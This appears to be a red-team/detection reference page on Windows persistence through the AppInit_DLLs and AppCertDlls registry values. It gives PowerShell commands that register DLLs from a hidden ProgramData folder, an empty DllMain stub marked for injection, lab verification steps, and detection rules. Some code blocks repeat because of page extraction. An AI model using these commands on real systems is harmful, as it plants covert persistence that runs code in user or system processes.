AppInit_DLLs & AppCertDlls
Overview
AppInit_DLLs is a legacy autostart mechanism. It sits under
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows and, when the companion
LoadLibrary value is set to 1, the user32 loader asks explorer.exe to load every DLL listed
in the value at user logon. Because Explorer is the shell, anything loaded there runs with the
logged-on user’s rights, persists across reboots, and does so without a visible process of its
own. It is a quiet, logon-scoped persistence hook that predates the modern autostart handlers.
AppCertDlls is the heavier sibling. It sits under
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AppCertDlls
and tells the image loader to call into the listed DLLs as part of process creation, before the
target’s own entry point runs. Done well, the payload lands in nearly every new process on the
machine. Done carelessly, it lands in too many, crashes something signed, and gives the analyst
a very loud signal. The two mechanisms are often described together because they both force a
DLL load through a registry value, but their blast radius and their detection profiles are
different enough to treat them as one page with two distinct plays.
AppCertDlls is a system-wide image-load hook. A DLL that misbehaves in one process misbehaves in every process that loads it, and the OS will logon-fail or blue-screen if the hook faults at the wrong point. Most mature AppCert payloads filter by process name, skip early-boot processes, and no-op in anything that is not the intended host. That filtering is also what the detection should look for: a brand-new DLL appearing across an unusually wide process set.
The call chain
- 1Write AppInit_DLLsA value under Windows\Load with LoadLibrary=1 makes Explorer load the DLL at user logon.
- 2or install AppCertDllsA value under Image File Execution Options\AppCertDlls makes the loader call into the DLL before a process starts.
- 3The payload lands in the hostAppInit_DLLs lands in explorer.exe; AppCertDlls can land in every process unless filtered out.
- 4Code runs at logon or process startDllMain, or the AppCert callback, executes with the identity of the host process.
Reference implementation
Both variants are registry writes. The AppInit path is a single value pair under the Windows key; the AppCert path is a value under the Image File Execution Options subtree.
# AppInit_DLLs: loaded by Explorer at user logon $ win = 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows' Set-ItemProperty $win -Name AppInit_DLLs -Value 'C:\ProgramData\.u\init.dll' Set-ItemProperty $win -Name LoadLibrary -Value 1 # confirm Get-ItemProperty $win | Select-Object AppInit_DLLs, LoadLibrary
# AppInit_DLLs: loaded by Explorer at user logon
$ win = 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows'
Set-ItemProperty $win -Name AppInit_DLLs -Value 'C:\ProgramData\.u\init.dll'
Set-ItemProperty $win -Name LoadLibrary -Value 1
# confirm
Get-ItemProperty $win | Select-Object AppInit_DLLs, LoadLibraryThe AppCert path registers a DLL the loader will call into for new processes. The value name is the DLL path; the data is a small integer the loader uses as a handle for the hook.
# AppCertDlls: loaded by the OS for new processes
$ appcert = 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AppCertDlls'
New-Item $appcert -Force | Out-Null
Set-ItemProperty $appcert -Name 'C:\ProgramData\.u\cert.dll' -Value 1
# confirm
Get-Item $appcert | ForEach-Object { Get-ItemProperty $_.PSPath }# AppCertDlls: loaded by the OS for new processes
$ appcert = 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AppCertDlls'
New-Item $appcert -Force | Out-Null
Set-ItemProperty $appcert -Name 'C:\ProgramData\.u\cert.dll' -Value 1
# confirm
Get-Item $appcert | ForEach-Object { Get-ItemProperty $_.PSPath }The DLL itself exports the callback the loader expects. For AppInit the entry point is the
standard DllMain; for AppCert the loader looks for the certification-export convention the
system uses for image-load callbacks.
#include <windows.h>
// AppInit path: standard DLL entry, fires when explorer loads it
BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID r) {
if (reason == DLL_PROCESS_ATTACH) {
// spawn or inject here; runs as the logged-on user
}
return TRUE;
}
// AppCert path: the loader calls the certification export for each new process
// a real payload filters by process name and no-ops for early-boot images#include <windows.h>
// AppInit path: standard DLL entry, fires when explorer loads it
BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID r) {
if (reason == DLL_PROCESS_ATTACH) {
// spawn or inject here; runs as the logged-on user
}
return TRUE;
}
// AppCert path: the loader calls the certification export for each new process
// a real payload filters by process name and no-ops for early-boot imagesVerifying in the lab
Write the AppInit value, log off and back on, and confirm the DLL is mapped into explorer.exe.
For AppCert, write the value, launch a fresh process, and confirm the DLL is mapped into that
process before its own code runs. The proof is the module list, not a new process name.
# after logon, the module is the artifact $ tasklist /m /fi "imagename eq explorer.exe" explorer.exe ... init.dll # for AppCert, any fresh process shows the hook module $ tasklist /m /fi "imagename eq notepad.exe" notepad.exe ... cert.dll <-- the artifact
# after logon, the module is the artifact
$ tasklist /m /fi "imagename eq explorer.exe"
explorer.exe ... init.dll
# for AppCert, any fresh process shows the hook module
$ tasklist /m /fi "imagename eq notepad.exe"
notepad.exe ... cert.dll <-- the artifactDetection
The registry write is the setup; the module load is the confirmation.
Rank them: the EID 13 rule on AppInit_DLLs and AppCertDlls is the cheapest continuous
control and fires at setup time. The EID 7 rule on a non-system DLL inside explorer.exe is the
AppInit confirmation and needs a baseline of legitimate shell extensions. The broad-process-set
behavioural rule is the AppCert confirmation and is the one to tune for a fleet, because a
single-process AppCert hit is easy to miss in the noise.